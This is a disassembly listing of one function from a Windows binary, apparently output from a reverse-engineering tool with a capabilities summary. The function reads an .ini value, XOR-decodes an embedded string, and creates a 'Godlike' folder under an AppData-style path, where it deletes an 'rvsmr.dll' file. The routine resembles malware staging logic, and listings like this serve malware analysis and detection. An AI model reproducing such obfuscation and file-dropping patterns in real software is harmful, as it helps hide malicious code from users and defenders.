Function at 0x405c40
Capabilities:
Create directory
Delete file
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x119c
call fcn.00408620
mov eax, dword [0x422c40]
xor eax, esp
mov dword [esp + 0x1198], eax
push ebx
push esi
push edi
xor eax, eax
push 0x98
push eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1a]
push eax
call fcn.004091f0
add esp, 0xc
lea eax, [esp + 0x10]
push 0x423418
push 0x4d
push eax
push 0x4188b4
push str.Temp
push str.SYSFILES
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x405d43
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esp + 0x10]
push eax
call ebx
cmp eax, 0x14
jl 0x405d43
lea eax, [esp + 0x10]
push eax
call ebx
mov ecx, 0x23b
mov dword [esp + 0xc], eax
mov esi, str.H47F6W5JG6OWJ5YO48KY6S8Y56T79YJD6789YTHW7TJ58FYWO34YJS87F7C85Y84FD87YS89745TO894G7SO9JHSRSHTEF4EFT5J89Y45JISDK745IK8YEF9T8YG875G67G8Y7J758YFT89F5YJ68JOS4KGO689JYO8SYEJOF475D85K6J7YS9O75YJFEYOJFY8XOY87FY5F86Y875Y6G78YD5T7YRFE7YG5F7SY5DI48JY5T78EY58EG765J87G6E48YRJ85FYE845G6E56JDS756JFVSTYG6HY587BNEDXE4SCW3S4FW65SYF47SYF5647NYS8IJ476FS54Y6N78WYG7H3875DJ84YSI8J4786YGJ8E54Y6G8_t_t7GJ89W654OJ8D7O9843YJO8FWY7G6E785J687WY5748G6Y78W5H78Y76FVHXEV4DS54SD46W3G4567WY5867YEW8J54Y89OE576KEK47C54T327A957JY8OF96YSO8947F8OJ6FO894EGJ6E56JO8F7SE4JYO687FS3486G4S68YFR7YWE87Y78YRRTG8D7Y56I8JGTD5Y6IFYSD54I786YDI8576YGE875Y68ODJY45867FYD786YG8795E489D6F8JEYF6JY47856Y8DYGUTYRJO8DYJR8TY98J547KF9O87ESO97FEJY489O6SY7864JYSO8Y7546KJO9G7S45FJDYRGTO7EY587Y6JGFO9DY74O9FJYDO56JG87D5_t_t8YWG754Y6JEY59O8EYKFDJU5IYGEKOJ5Y6G8D5786YGS875468FJ7SY478YSG7J5H48DORTIY8YS745Y6G7854JY6G7SEC5T78M37KXRY74867EY4758FD56RD654DGT545S45FSY4G6S7Y45GYJKSEYJDSY46I78YS6GY5IJSYI654YVFUHTMJVFYXE478BYSIYN7YC7XHXYIJCKY8T7YSJ85Y68SY456G89SY7459J67SFY47J8Y6KISEY6MGJISYE58Y6GJ8SY5I6CDK4JY687GIYEJ8I6I7YI8754Y768JVFGYHKIFYTFVJDYH68J75Y6FS85YFJ6F8Y4J876Y84EY6JFSEYJG7Y678DJY576GYOJ9E8Y6OFJ8Y6O
lea edi, [esp + 0x8b0]
rep movsd dword es:[edi], dword [esi]
mov cx, word [esp + 0x8b0]
lea edx, [esp + 0x8b0]
test cx, cx
je 0x405d08
movzx ecx, cx
nop
xor ecx, 1
lea edx, [edx + 2]
mov word [edx - 2], cx
movzx eax, word [edx]
mov ecx, eax
test ax, ax
jne 0x405cf0
mov eax, dword [esp + 0xc]
lea eax, [esp + eax*2 - 8]
push eax
lea eax, [esp + 0x8b4]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x405d58
push eax
push str.rvsmr
call fcn.00404530
add esp, 8
test eax, eax
jne 0x405d43
push 0x418944
push str.rvsmr
call fcn.004078b0
add esp, 8
mov ecx, dword [esp + 0x11a4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004082ae
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x10]
push eax
call ebx
xor ecx, ecx
mov word [esp + eax*2 - 8], cx
lea eax, [esp + 0x10]
push eax
call ebx
lea esi, [esp + eax*2 + 0xa]
mov ecx, esi
movzx eax, word [ecx]
test ax, ax
je 0x405d94
mov edx, eax
nop dword [eax]
xor edx, 1
lea ecx, [ecx + 2]
mov word [ecx - 2], dx
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x405d80
push esi
call fcn.0040b0e4
add esp, 4
test eax, eax
je 0x405daf
cmp eax, 0x6f
je 0x405daf
cmp eax, 0x71
je 0x405daf
xor eax, eax
jmp 0x405db4
mov eax, 1
test eax, eax
jne 0x405d31
lea eax, [esp + 0xc]
push eax
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov esi, dword [sym.imp.SHLWAPI.dll_StrCatW]
test eax, eax
jne 0x405e06
lea eax, [esp + 0xb0]
push eax
push dword [esp + 0x10]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push str.Godlike
lea eax, [esp + 0xb4]
push eax
call esi
push 0
lea eax, [esp + 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str._rvsmr.dll
lea eax, [esp + 0xb4]
push eax
call esi
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x418924
jmp 0x405d36